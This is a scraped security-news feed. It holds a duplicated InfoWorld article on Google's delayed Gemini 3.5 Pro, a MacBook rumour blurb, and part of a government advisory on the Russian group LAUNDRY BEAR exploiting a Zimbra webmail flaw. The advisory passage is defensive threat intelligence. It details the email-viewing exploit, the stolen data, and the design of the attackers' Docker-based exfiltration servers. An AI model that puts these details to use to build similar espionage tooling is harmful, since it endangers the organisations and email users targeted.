<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3689687/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689687/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Thu, 23 Jul 2026 18:35:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200818/google-ceo-distracts-from-gemini-3-5-pro-delay-with-talk-of-gemini-4-and-monthly-releases.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3689683/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689683/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Thu, 23 Jul 2026 18:35:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200818/google-ceo-distracts-from-gemini-3-5-pro-delay-with-talk-of-gemini-4-and-monthly-releases.html">InfoWorld</a>.</em></p>
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<title><![CDATA[MacBook Neo 2 rumored to pack a faster chip and more RAM]]></title>
<description><![CDATA[The MacBook Neo 2 could bring an A19 Pro chip and more RAM,  improving the performance of Apple's budget-friendly notebook.
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3689408/ios-mac-os/macbook-neo-2-rumored-to-pack-a-faster-chip-and-more-ram/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689408/ios-mac-os/macbook-neo-2-rumored-to-pack-a-faster-chip-and-more-ram/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:46 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/04/MacBook-Neo-2-green-concept-1440x810.jpg" class="attachment-large size-large wp-post-image" alt="12GB of RAM in MacBook Neo 2 looks locked in — here’s why" decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/04/MacBook-Neo-2-green-concept-1440x810.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/04/MacBook-Neo-2-green-concept-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/04/MacBook-Neo-2-green-concept-768x432@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/04/MacBook-Neo-2-green-concept-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/04/MacBook-Neo-2-green-concept-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/04/MacBook-Neo-2-green-concept-1020x574.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/04/MacBook-Neo-2-green-concept.jpg.webp 1648w, https://www.cultofmac.com/wp-content/uploads/2026/04/MacBook-Neo-2-green-concept-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>The MacBook Neo 2 could bring an A19 Pro chip and more RAM,  improving the performance of Apple's budget-friendly notebook.</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
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<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
